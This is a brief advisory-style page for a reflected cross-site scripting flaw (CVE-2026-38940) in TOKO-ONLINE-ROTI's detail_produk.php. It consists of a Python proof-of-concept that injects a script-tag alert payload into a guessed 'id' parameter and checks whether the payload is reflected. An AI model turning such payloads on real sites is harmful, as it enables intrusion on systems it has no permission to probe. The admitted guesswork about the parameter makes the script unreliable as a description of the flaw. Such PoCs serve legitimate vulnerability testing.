CVE-2026-38940: TOKO-ONLINE-ROTI跨站脚本漏洞

import requests # Proof of Concept for CVE-2026-38940 # Target: RafyMrX TOKO-ONLINE-ROTI v1.0 # Component: detail_produk.php def check_xss(target_base_url): # Common XSS payload to test execution payload = "<script>alert('CVE-2026-38940_POC');</script>" # The vulnerable parameter is not explicitly named, assuming a generic query param # based on the detail_produk.php component. # Example: http://target.com/detail_produk.php?id=<payload> inject_url = f"{target_base_url}/detail_produk.php?id={payload}" try: response = requests.get(inject_url, timeout=5) # Check if the payload is reflected unfiltered in the response if payload in response.text: print(f"[+] Potential XSS found at: {inject_url}") print(f"[+] Payload reflected in response.") else: print("[-] Payload not reflected or filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_xss(target)